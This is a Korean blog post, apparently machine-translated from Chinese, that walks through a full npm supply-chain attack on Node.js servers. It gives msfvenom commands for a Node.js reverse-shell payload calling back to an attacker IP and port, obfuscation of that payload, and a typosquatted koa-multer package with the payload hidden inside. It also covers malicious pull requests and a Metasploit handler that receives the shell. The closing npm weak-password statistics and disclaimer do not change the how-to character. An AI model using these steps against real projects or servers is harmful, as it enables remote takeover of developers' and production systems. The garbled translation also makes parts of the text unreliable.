나 는 이렇게 너의 Node. js 생산 서버 에 해 킹 을 했다.
TL,DR:
이 글 은 한 해커 의 관점 에서 전단 항목 에 침투 하 는 것 을 목표 로 페 이 로드 생 성, 혼동, 페 이 로드 숨 기기, npm 발표, 사회 공학 적 PR 발표, 스 크 립 트 실행, 공격 호스트 로 역방향 연결, 최종 호스트 가 서버 셸 을 가 져 오 는 이 야 기 를 담 고 있다.
원본:
전단 엔지니어 의 말버릇 은 무엇 입 니까?npm install!
이 명령 은 npm 창고 에서 프로젝트 패키지. json 에서 설명 한 의존 도 를 다운로드 하고 의존 도 를 다운로드 한 후 의존 도 패키지. json 성명 의 의존 도 를 다운로드 합 니 다. 의존 도 를 다운로드 한 후 의존 도 패키지. json 성명 의 의존 도 를 다운로드 합 니 다. 의존 도 를 다운로드 한 후...
그리고 니 가 어디서 왔 는 지 모 르 는 npm 가방 을 잔뜩 내 려 왔 어.
전단 엔지니어 의 또 다른 말버릇 은 무엇 입 니까?npm run dev!
응!인터페이스 디 스 플레이 컴 파일 성공!완벽 한 컴 파일!진정한 기술 을 보 여줄 때 가 된 것 같 아!
이때 인터넷 의 다른 한 끝 에서 한 해커 가 미 소 를 지 으 며 또 한 명의 육계 가 접속 했다.
이 사이 에 무슨 일이 있 었 습 니까?
Payload 생 성
경험 이 풍부 한 금붕어 들 은 낚시 를 하려 면 반드시 먼저 낚시 를 해 야 한 다 는 것 을 안다.해커 도 낚시 를 해 야 하 는데 낚시 는 무엇 입 니까?해커 의 세계 에는 msfvenom 이 라 고 불 리 는 낚시 가게 가 있 는데 각종 종류 (구조), 각종 종류 (언어) 의 물고기 (기계) 를 전문 적 으로 관리한다.msfvenom 은 metasploit 의 일부분 으로 Kali 시스템 에 통합 되 었 습 니 다.칼 리 홈 페이지 에는 기 존 가상 머 신 미 러 가 있어 다운로드 하면 이용 할 수 있다.
Kali 의 Terminal 에 입력:
msfvenom -l | grep node
Node. js 를 지원 하 는 모든 payload 를 표시 할 수 있 습 니 다.이것 은 가게 에 가서 사장 님! 라 고 묻 는 것 과 같다.낚시 살 거 야!Node. js 를 낚 을 수 있 는 그런!사장: 좋아!어떤 걸 로 드릴 까요?
여기 서 우 리 는 nodejs/shell 을 선택 합 니 다.reverse_tcp, 사실 업계 에서 가장 자주 사용 하 는 payload 는 meterpreter 이지 만 이 낚시 는 아직 출시 되 지 않 았 습 니 다.
어떻게 우리 의 payload 를 생 성 합 니까? 입력:
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.199.165 LPORT=5432 -o index.js
설정 의 인 자 를 말씀 드 리 겠 습 니 다:
명령 을 두 드 린 후에 우 리 는 현재 디 렉 터 리 에서 index. js 라 는 payload, 즉 우리 가 방금 산 낚시 를 받 을 수 있 습 니 다.payload 는 작 아서 803 바이트 밖 에 없어 요.쓰다
cat index.js
명령, payload 가 어떻게 생 겼 는 지 볼 수 있 습 니 다.
이때 경각 심 의 전단 에서 튀 어 나 와 가슴 밑, 당신 의 이 코드 에서 cmd 를 호출 하고/bin/sh 를 호출 하 며 공격 IP 와 포트 를 모두 드 러 내야 바보 가 당신 의 코드 를 실행 할 수 있 습 니까?
서 두 르 지 마라, 좋 은 연극 은 이제 막 시작 되 었 다.
뒤섞이다
전통 적 인 백신 소프트웨어 는 파일 의 특정 문 자 를 검사 함으로써 바이러스 의 특징 을 확인 하 는 것 이 고 특징 코드 를 수정 하여 백신 소프트웨어 의 검 사 를 피해 우 리 는 이 를 면 살 이 라 고 부른다.
자 바스 크 립 트 의 변 화 는 해적 왕 의 길 보다 더 신축 적 이다.
예 를 들 어 간단 한 코드 한 줄:
alert(1)
jsfuck 로 엄마 도 못 알 아 볼 수 있 게:
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
물론 우 리 는 jsfuck 를 사용 하지 않 는 다. 왜냐하면 헷 갈 린 후의 코드 가 너무 크기 때문이다.
전단 은 UglifyJS 로 코드 를 압축 하 는 것 을 좋아 하지만 이 장면 에서 가장 좋 은 방법 은 아 닐 수도 있 습 니 다.우 리 는 자 바스 크 립 트 Obfuscator Tool 을 사용 합 니 다.
payload 를 복사 하여 obfuscator. io/를 열 고 붙 여 넣 습 니 다. 입맛 에 따라 헷 갈 리 는 방법 을 선택 하고 Obfuscate 를 누 르 면 한 가지 요리 가 완 성 됩 니 다.
이제 이 코드 를 읽 을 수 있 는 사람 이 없어 서 임 무 를 헷 갈 리 게 한다.
페이로드 숨 기기
npm 는 공산주의 의 큰 곡창 지대 로 누구나 자신의 코드 를 npm 에 기여 할 수 있 습 니 다.그런데 어떻게 다른 사람 에 게 우리 의 코드 를 다운로드 하 게 합 니까?이것 은 심오 한 학문 이다.
일반적인 사고방식 은 정상 적 인 npm 가방 이름과 비슷 한 가방 이름 을 만 드 는 것 이다. 예 를 들 어 koa - multer 는 koa 를 만 들 수 있다.multer, 그리고 누 군 가 는 오 자 를 쳐 서 payload 가 포 함 된 가방 에 다운로드 합 니 다.이것 은 확률 문제 입 니 다. koa - multer 를 다운로드 하 는 총량 이 클 수록 koa 를 다운로드 합 니 다.multer 의 양도 클 수록
koa - multer 를 예 로 들 면, 우 리 는 먼저 코드 클 라 이언 트 를 다운로드 합 니 다.
git clone github.com/koa-modules…
우리 가 만 든 payload 를 프로젝트 경로 로 복사 하고 index. js 에 이 파일 을 도입 합 니 다.
package. json 과 README. md 의 모든 koa - multer 를 koa 로 변경 합 니 다.multer, 그리고 package. json 의 files 에서 payload 의 파일 이름 을 설명 하면 우 리 는 payload 가 있 는 npm 가방 을 만 들 었 습 니 다.
이 가방 을 받 으 면 npm 소스 에 발표 할 수 있 습 니 다.
npm publish
시범 을 보이 기 위해 서 나 는 로 컬 에 npm 서버 를 설치 했다.
이 가방 은 정확 한 koa - multer 와 거의 같 습 니 다.원본 코드 를 깊이 따 지지 않 으 면 전단 에서 자신 이 잘못된 가방 을 다운로드 한 것 을 발견 하지 못 할 것 이다.
다음 에 해 야 할 일 은, 기다 리 는 것 이다.낚시 처럼 인내심 이 필요 하 다.
이때 경각 심 을 가 진 전단 엔지니어 가 튀 어 나 와 말 할 것 이다. 이 가방 은 딱 봐 도 사람 을 함정 에 빠 뜨 린 다 는 것 을 알 수 있다. 나 는 이런 가방 을 설치 할 만큼 어 리 석 지 않 을 것 이다!
서 두 르 지 마라, 또 다른 방법 이 있다.
또 다른 사고방식 은 일반적인 npm 가방 을 만 드 는 것 이다. 예 를 들 어 로 그 를 통 해 알록달록 한 색깔 의 가방 을 만 든 다음 에 다른 오픈 소스 프로젝트 에 PR 을 제시 하 는 것 이다.
내 가 너 를 도와 문제 XXX 를 복 구 했 고 컬러 로 거 기능 도 추가 했다!
저 희 는 개원 커 뮤 니 티 에 기여 하고 있 습 니 다!
물론 경각 심 있 는 사람 은 이 PR 을 거절 할 것 이다.그래도 괜찮아 요. PR 을 많이 꺼 내 면 누가 걸 릴 거 예요.
npm 가방 이 위 조 된 것 은 문제 가 되 지 않 습 니 다. 악의 적 인 PR 이 이름 모 를 프로젝트 Approve 에 의 해 승인 되 는 것 도 문제 가 되 지 않 습 니 다.공격 이 라 고 부 르 지 말 라 는 요청 처럼 수백 만 원 의 요청 이 걸 려 왔 을 때 DDOS 가 얼마나 무 서운 지 알 수 있 습 니 다.
해커 는 npm 패 키 지 를 다운로드 하고 코드 를 위조 하 며 논리 자동 화 를 발표 할 수 있다.그 다음은 koa 만 이 아니다.multer 의 문제 입 니 다. koa - multe, multer - koa, koa - multer - middleware 등 각종 기괴 한 npm 가방 을 경계해 야 합 니 다. '' 와 '-' 의 차 이 를 구분 해 야 합 니 다. 물론 koa - multer 이 가방 뿐만 아니 라 다른 모든 가방 도 법 대로 만 들 수 있 습 니 다.
아무리 경계 하고 조심 하 더 라 도 당신 이 모 르 는 곳 이 있 습 니 다.칼 이 들 어가 지 않 는 아 케 레 스 처럼 발뒤꿈치 에 화살 을 맞 는 날 도 있다.
또한 대부분의 npm 가방 은 등급 의존 관계 입 니 다. package. json 에서 목마 가방 이 있다 고 밝 힐 수 없 지만 의존 하 는 가방 을 확보 할 수 있 습 니 다. 이 가방 들 의 작가 들 도 당신 처럼 경각 심 을 가지 고 방심 하지 않 습 니까?
해커 준비
해커 쪽 에 서 는 handler 를 준비 해 야 합 니 다.
입력:
msfconsole
metasploit 콘 솔 에 들 어 갑 니 다.그리고 입력:
use exploit/multi/handler
handler 모듈 을 사용 합 니 다.그리고 handler 모듈 에 payload 를 설정 하여 호스트 IP 를 공격 하고 호스트 포트 를 공격 하 며 감청 을 시작 합 니 다.
set payload nodejs/shell_reverse_tcp set LHOST 192.168.199.165 set LPORT 5432 run
그림 과 같이 역방향 TCP 감청 이 성공 적 으로 시작 되 었 습 니 다.
육계 가 출시 되다
이때 생쥐 는 koamulter 의 demo 코드!
해커 쪽 에서 이 셸 의 세 션 을 바로 얻 을 수 있 습 니 다.
여기 서 해커 는 이 Node. js 프로그램 을 시작 할 수 있 는 사용자 권한 을 얻 었 고 사용자 가 허용 하 는 모든 명령 을 수행 할 수 있 습 니 다.예 를 들 어 운영 체제 보기, CPU 모델 보기...
sw_vers\# 운영 체제 sysctl - n machdep. cpu. brand 보기string\# 운영 체제 보기
만약 이 프로그램 이 생산 환경 서버 에 배치 된다 면 해커 는 이 서버 의 셸 권한 을 얻 을 수 있 을 것 이다.
내부 망 침투, 바지 벗 기, 말 심 기, 유도... 셸 받 으 면 정말 하고 싶 은 대로 할 수 있어 요.
Done?
아직 끝나 지 않 았 는데, 하 이 라 이 트 는 아직 뒤에 있다.
질문
2017 년 7 월 에 누군가가 npm 의 계 정 에 대해 약 한 구령 검 사 를 했 는데 검 측 결 과 는 다음 과 같다.
약 한 구령 문제 계 정 이 발표 한 npm 가방 은 전체 역 의 14% 를 차지 했다.
npm 가방 의 존재 형태 가 서로 의존 하기 때문에 이 14% 의 가방 으로 인해 발생 하 는 안전 문제 가 다른 가방 에 영향 을 주 고 전체 역 의 54% 를 차지 했다.
npm install 두 번 씩 안전 하지 않 은 가방 에 한 번 씩 설치 한 다 는 뜻 이다.이것 은 놀 라 운 말 이 아니다.유명한 koa. js, 발 표 된 비밀 번 호 는 "password"입 니 다.react, gulp 등 스타 프로젝트 도 피 할 수 없다.다음은 약 한 구령 문제 의 영향 을 받 은 다른 npm 가방 을 열거 합 니 다. 항상 익숙 한 이름 이 있 을 거 라 고 믿 습 니 다.
npm 는 지금까지 대규모 안전성 문제 가 발생 한 적 이 없 는데 순 전 히 운 이 좋 은 것 이다.
그 러 니 npm 의 영원한 행운 을 기원 합 시다.
노트: 본 고 는 교류 연 구 를 목적 으로 하 는데 작 가 는 어떠한 시스템 에 도 침투 한 적 이 없다.만약 에 본 고의 사상 에 따라 침투 한다 면 독 자 는 반드시 스스로 위험 과 책임 을 져 야 한다.저 자 는 어떠한 책임 도 지지 않 는 다.
참고 문서:
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
다양한 언어의 JSONJSON은 Javascript 표기법을 사용하여 데이터 구조를 레이아웃하는 데이터 형식입니다. 그러나 Javascript가 코드에서 이러한 구조를 나타낼 수 있는 유일한 언어는 아닙니다. 저는 일반적으로 '객체'{}...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.